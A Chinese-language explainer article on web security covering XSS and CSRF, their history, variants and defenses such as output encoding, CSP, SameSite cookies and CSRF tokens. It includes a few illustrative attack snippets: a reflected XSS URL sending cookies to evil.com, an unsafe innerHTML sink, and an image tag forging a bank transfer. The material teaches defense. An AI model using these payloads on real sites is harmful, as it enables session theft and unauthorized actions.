跳转到内容
← 返回核心概念
安全计算机科学 · 网络安全19 分钟阅读

Web 安全:XSS 与 CSRF

Web Security: XSS and CSRF

2005 年 10 月,一个 19 岁的 Myspace 用户 Samy Kamkar 发现他无法在自己的个人页面里加 CSS 样式——网站过滤掉了大多数 HTML 标签。他花了几天时间找漏洞,最终找到了一个可以注入 JavaScript 的方法,并写了一个自动添加他为好友的蠕虫脚本。 约 20 小时后,超过 100 …

Web安全XSSCSRF注入攻击浏览器安全

2005 年 10 月,一个 19 岁的 Myspace 用户 Samy Kamkar 发现他无法在自己的个人页面里加 CSS 样式——网站过滤掉了大多数 HTML 标签。他花了几天时间找漏洞,最终找到了一个可以注入 JavaScript 的方法,并写了一个自动添加他为好友的蠕虫脚本。

约 20 小时后,超过 100 万用户的页面执行了这段脚本、把 Samy 加为好友,Myspace 被迫关闭服务。蠕虫还会在受害者页面上留下一句 "but most of all, Samy is my hero"。这是历史上传播最快的蠕虫之一,攻击媒介只是一段被注入到 HTML 里的 JavaScript——跨站脚本攻击(XSS) 的教科书案例。Kamkar 后来与 Myspace 和解,没有进监狱,但联邦法院禁止他在一段时间里使用电脑。漏洞可以是一句玩笑,放大之后就不是。

Web 安全的根本问题:信任边界

Web 应用的安全本质上是信任边界的问题:浏览器信任来自同一域名的内容;服务器信任携带合法会话令牌的请求。攻击者的目标是跨越这些边界——让浏览器执行攻击者的代码,或让服务器接受攻击者的请求。

XSS 攻击同源策略(Same-Origin Policy),CSRF 攻击会话认证机制。这两类攻击长期占据 OWASP(开放网络应用安全项目)Top 10 漏洞榜单,影响范围从个人账户到企业系统。同源策略把"谁能读这份 DOM"钉在协议、主机、端口三件套上;Cookie 的作用域却可以宽松到整个站点。两个边界不一致,就是 CSRF 和 XSS 能分工合作的缝。浏览器自动带证件,页面又肯执行外来的字,副官和伪造命令就凑齐了。安全工程大量时间花在把这两条边界重新对齐,而不是发明一种新加密。

具体到排名:OWASP Top 10 的 2017 版里,注入(Injection)高居第一,XSS 单独位列第七。2021 版做了一次重要归并——XSS 被并入 A03「注入」大类,整体落到第三名。这不是因为 XSS 变少了,而是 OWASP 认定它本质上就是一种注入:把脚本注入到受害者的浏览器里执行。

一个常见误解:HTTPS 不能阻止 XSS 与 CSRF

很多人以为网站上了 HTTPS 就万事大吉。这其实混淆了两个不同的层次。

HTTPS(TLS)保护的是传输层:它防止数据在网络途中被窃听或篡改,并验证你连接的确实是 bank.com 本身。但 XSS 和 CSRF 都是应用层漏洞,发生在数据已经安全抵达浏览器或服务器之后

一段被注入的脚本,照样能在加密连接里执行;一个伪造的转账请求,照样能带着合法 Cookie 通过 HTTPS 发出去。加密只保证「没人在路上动手脚」,并不保证「送达的内容本身是善意的」。把传输安全当成应用安全,是 Web 安全里最常见的认知错位。证书链证明的是你连上了那块招牌,不证明招牌后面的模板会转义。攻击者要的不是拆开 TLS,是让已经解密的页面替他跑代码,或让已经带 Cookie 的浏览器替他提交。HTTPS 普及之后,XSS 和 CSRF 没有消失,只是不再需要在咖啡店里做中间人。安全预算若只买证书,应用层仍然赤裸。渗透测试里最便宜的洞,往往还是搜索框把参数原样写回页面。工具可以扫,最终仍要人决定这段输出走哪一种编码:HTML、属性、URL、JavaScript 字符串各是一张表。编码用错表,等于没编。这就是为什么"转义一下"不够当规范,必须写明上下文。HTML 正文里转义尖括号,进了 <script> 就不够;URL 里要先百分号编码。上下文错了,过滤器变成摆设。这是输出编码最容易被"我们已经转义过了"骗过的地方。

XSS:跨站脚本攻击

核心机制:攻击者设法把恶意 JavaScript 注入到目标网站的页面,当受害者访问该页面时,浏览器执行这段脚本——以该网站的权限运行。攻击者可以读取 Cookie、会话 Token、输入内容,甚至以受害者身份发起请求。

XSS 分为三种类型:

存储型 XSS(Stored XSS):恶意脚本被存储到服务器(如评论、用户资料)。每次访问这个页面的用户都会执行恶意代码。Samy 蠕虫就是存储型 XSS——脚本被存在每个被感染用户的个人页面里。

反射型 XSS(Reflected XSS):恶意脚本通过 URL 参数注入,服务器把参数内容直接反射到响应 HTML 中。攻击者诱使受害者点击一个精心构造的恶意链接:

https://example.com/search?q=<script>document.location='https://evil.com/?cookie='+document.cookie</script>
```

DOM 型 XSS:恶意脚本完全在客户端执行,不经过服务器——前端 JavaScript 直接从 URL 或存储中读取不可信数据并插入到 DOM:

javascript
// 危险:直接把 URL 参数写入 DOM
document.getElementById('output').innerHTML = location.hash.substring(1);
```

DOM 型 XSS 由安全研究者 Amit Klein 在 2005 年首次系统描述,他称之为「第三种 XSS」(XSS of the Third Kind)。它特别隐蔽:上面例子里的 location.hash(URL 中 # 之后的片段)按规范根本不会被发送到服务器,因此服务器端的输入过滤、Web 应用防火墙、输出编码统统看不到这段攻击载荷。

三种 XSS 的分界是"恶意代码在哪一段被拼进页面"。存储型住在数据库里,对每个访客生效;反射型住在这一次响应里,要骗你点击;DOM 型根本不到服务器,过滤策略若只部署在后端,就会漏掉第三种。分类是为了选防线,不是为了考试名词。

防御 DOM 型 XSS 必须落在客户端代码本身——避免用 innerHTMLdocument.writeeval 处理不可信数据,改用 textContent 等不会把字符串当 HTML 解析的接口。

防御 XSS

输出编码:在把用户提供的数据插入 HTML 之前,对特殊字符(<>&"')做 HTML 实体编码。现代模板引擎(React、Vue 的默认行为)自动做这件事——这是过去十年 XSS 显著减少的最主要原因。默认转义改的是成本:危险操作要显式关掉保护,而不是危险操作是默认。认知偏差跨域已经点过这条。谁把 dangerouslySetInnerHTML 写进代码,等于在日志里签字。框架不能消灭 XSS,只是让大多数人不再亲手拼 HTML。剩下的洞,多半开在"我以为这段字符串已经干净了"。

内容安全策略(CSP,Content Security Policy):服务器通过 HTTP 头声明哪些来源的脚本是合法的,浏览器拒绝执行所有不在白名单中的脚本:

Content-Security-Policy: script-src 'self' https://trusted.cdn.com
```

CSP 的设想可追溯到 2004 年,由 Mozilla 推动落地并在 Firefox 4 中首次实现;W3C 于 2012 年 11 月发布 CSP 1.0 候选推荐,2016 年的 Level 2 引入了 nonce(一次性随机值)与哈希白名单。值得注意的是,基于域名白名单的 CSP 在实践中常被绕过(详见下文「代价与争议」),因此现代最佳实践已转向基于 nonce'strict-dynamic' 的「严格 CSP」——只信任带有正确一次性随机标记的脚本,而不再依赖一长串易出错的域名清单。

HttpOnly Cookie:把会话 Cookie 标记为 HttpOnly,浏览器的 JavaScript 无法读取它,即使发生 XSS,攻击者也无法用 document.cookie 把会话偷走。HttpOnly 挡的是读 Cookie,挡不住脚本以你的身份发请求。XSS 一旦跑起来,CSRF 令牌也可以被同源脚本读走。所以"有 HttpOnly 就安全"是分层误读:它缩小失窃面,并不关闭执行面。纵深防御要把编码、CSP 和令牌叠在一起,单靠一枚 Cookie 旗标不够。

CSRF:跨站请求伪造

核心机制:攻击者诱使已登录的受害者访问一个恶意页面,该页面自动向目标网站发起请求——浏览器会自动携带该网站的 Cookie,服务器无法区分这是用户有意发出的请求还是被伪造的。

经典场景:用户已登录网银,在另一个标签页访问了攻击者的页面,该页面包含:

html
<img src="https://bank.com/transfer?to=attacker&amount=10000">
```

浏览器加载这个"图片"时,实际上向银行发起了一个带用户 Cookie 的 GET 请求——如果银行允许 GET 请求做转账操作,攻击成功。这是安全方法被用错的现场:GET 被规定为只读,爬虫、预取和 <img> 都会去撞它。把转账写成 GET,等于把副作用交给任何能让浏览器发请求的人。CSRF 常被叫作"迷惑的副官":浏览器忠实地带着你的证件去办事,却分不清命令是不是你下的。令牌要做的,就是让副官带上一句只有正站才知道的口令。

防御 CSRF

CSRF Token:服务器为每个表单生成一个随机令牌,嵌入 HTML,要求提交时带上这个令牌。攻击者的页面无法读取另一个域的 HTML(同源策略),因此无法获取合法 Token。这套机制的标准名称是「同步器令牌模式」(synchronizer token pattern),是目前最通用的防御手段。

SameSite Cookie:现代浏览器支持 SameSite Cookie 属性:设置为 Strict 时,跨站请求不携带该 Cookie;设置为 Lax 时,只有顶层导航的 GET 请求才携带:

Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
```

Chrome 80 于 2020 年 2 月起将无 SameSite 属性的 Cookie 默认按 Lax 处理,这一改变大幅降低了 CSRF 的攻击面。

SameSite 不是银弹,不能完全取代 CSRF Token。Lax 仍然允许跨站的顶层 GET 导航携带 Cookie,对「点击链接即触发副作用」的接口仍有风险;老旧浏览器可能根本不支持该属性;而且「同站」(same-site)不等于「同源」,同一站点下被攻陷的子域仍可能绕过限制。因此严谨的做法是把 SameSite 与 CSRF Token 叠加使用,构成纵深防御。

CORS 常被拿来和 CSRF 混为一谈。跨源资源共享管的是浏览器是否允许脚本另一个源的响应;CSRF 管的是浏览器是否会带着 Cookie 发出那个请求。读被挡住,写仍然可能发生。把 CORS 配宽松,解决不了伪造转账;把 SameSite 设严,也替代不了输出编码。工具箱里每一件只挡一类越界。

双重提交 Cookie:把 CSRF Token 同时存入 Cookie 和表单,服务器验证二者是否一致——即使不需要服务器存储 Token 也能防护。

XSS 与 CSRF 的对比

维度XSSCSRF
攻击方式注入恶意脚本,绕过同源策略伪造请求,滥用浏览器的 Cookie 自动携带
受攻击目标用户浏览器服务器(以用户身份)
核心防御输出编码 + CSPCSRF Token + SameSite Cookie
危害账户劫持、数据窃取、页面篡改未授权操作(转账、改密码)

代价与争议

CSP 的部署困难:严格的 CSP 策略能有效防止 XSS,但现代 Web 应用往往加载来自多个 CDN、分析服务、广告平台的脚本,维护精确的白名单极其繁琐,导致许多网站的 CSP 策略过于宽松。Google 安全团队的研究(Weichselbaum 等,论文题为《CSP Is Dead, Long Live CSP!》,ACM CCS 2016)分析了约 168 万个使用 CSP 的站点,发现其中约 94.7% 的策略可以被绕过,99% 以上站点的 CSP 对 XSS 几乎没有实质防护。论文的结论正是:放弃域名白名单,改用前文提到的基于 nonce 的严格 CSP。白名单假设"这个域里的人都是好人",而 CDN 上任何一个被缓存投毒的文件都能把整份名单作废。一次性随机数把信任从主体换成这一次响应里的标记:没有服务器刚发的 nonce,脚本不许跑。部署成本换到模板层,换来的是名单维护这场必输的游戏可以停。

供应链攻击把同一逻辑推到第三方:你信任的库文件被改一行,支付页就变成 exfil。子资源完整性(SRI)用哈希锁住"这一份",而不是"来自这个域的任何一份"。抽象泄漏定律在安全里的对应,就是身份不等于内容。

移动端 API 的 CSRF:纯 JSON API 不使用表单提交,通常用 Bearer Token(而非 Cookie)认证,天然免疫 CSRF——但也带来了 Token 存储安全的新问题(LocalStorage 可被 XSS 读取;Cookie 又需要防 CSRF)。

第三方脚本的供应链风险:2018 年 British Airways 数据泄露事件,攻击者篡改了支付页面用到的第三方 JavaScript 库(一个 2012 年的旧版 Modernizr),追加一段脚本把约 38 万名客户提交的信用卡信息实时回传到攻击者服务器(监管认定受影响个人逾 40 万)——XSS 变种中最难防范的是这类供应链攻击(Magecart)。英国信息专员办公室(ICO)最初提议处以 1.83 亿英镑的创纪录罚款,后因新冠疫情对航空业的冲击,于 2020 年 10 月降至 2000 万英镑。

跨域连接

  • 计算机安全原则:同源策略把来源定义为协议、主机与端口三者相同,Cookie 的作用域却按站点划分、可以跨子域。两个不一致的边界定义并存,正是正文强调「同站不等于同源」的原因,也是属性设置不能完全替代令牌的原因。推论可以当检查表用:任何安全结论都必须先说明它用的是哪一个边界定义。
  • 社会资本:信任在网络中不传递——我信任的人所信任的人并不自动可信。域名白名单恰恰假设了传递性:名单上任何一个域托管了可被滥用的脚本,整条策略就被击穿,而名单越长概率越高。改用一次性随机标记等于放弃身份鉴别、改为按次授权,这是把信任模型从主体换成能力。
  • 比较优势:引入第三方脚本是一次外包:收益是功能与成本,代价是把「能改你页面的人」扩展到供应商及其上游。而安全性由链条最弱一环决定,分工恰恰使链条变长,正文那起支付页面被改的事故正是如此发生。子资源完整性锁定脚本哈希,相当于验收具体批次而不是信任供应商,把信任从主体转到制品。
  • 问责:数据泄露的损失大部分由用户承担,企业只承担罚款与声誉损失,于是安全投入的私人最优低于社会最优。更麻烦的是威慑要求可预期,而正文那笔罚款因行业境况被大幅调低,说明罚则受非安全因素影响。推论是以罚款为主要杠杆的治理,其效果取决于罚则的稳定性,而不是罚款上限有多高。
  • 认知偏差:默认选项主导结果,因为改变默认需要主动付出注意力与决策成本。这解释了跨站脚本显著减少的真正原因——模板引擎默认转义,而不是开发者变得更谨慎。可用的设计规则随之而来:把危险操作设成需要显式动作的例外,比培训更能改变总体结果,因为它改的是成本而不是知识。

参考文献

  • Stamm, S., Sterne, B., Markham, G. Reining in the Web with Content Security Policy. WWW 2010.
  • West, M. Same-Site Cookies. RFC/Internet-Draft, 2016.(SameSite Cookie 机制的规范背景)
  • Weichselbaum, L., Spagnuolo, M., Lekies, S., Janc, A. CSP Is Dead, Long Live CSP! On the Insecurity of Whitelists and the Future of Content Security Policy. ACM CCS 2016.(约 168 万站点的 CSP 绕过实证研究)
  • Klein, A. DOM Based Cross Site Scripting or XSS of the Third Kind. Web Application Security Consortium, 2005.(DOM 型 XSS 的首次系统描述)
  • OWASP. OWASP Top 10:2021 — A03:2021 Injection(含 XSS, CWE-79). owasp.org/Top10/2021/A03_2021-Injection.
  • W3C. Content Security Policy Level 2. W3C Recommendation, 2016-12-15.(nonce/哈希白名单的规范来源)

延伸阅读

  • OWASP Top 10 Project. Top 10 Web Application Security Risks. owasp.org, 2021.(每隔数年更新的权威 Web 安全榜单)
  • Fogie, S. et al. XSS Attacks: Cross Site Scripting Exploits and Defense. Syngress, 2007.
  • Kamkar, S. Technical write-up of the Samy Myspace XSS worm, 2005.
  • Michal Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications. No Starch Press, 2011.(浏览器安全模型的深度指南)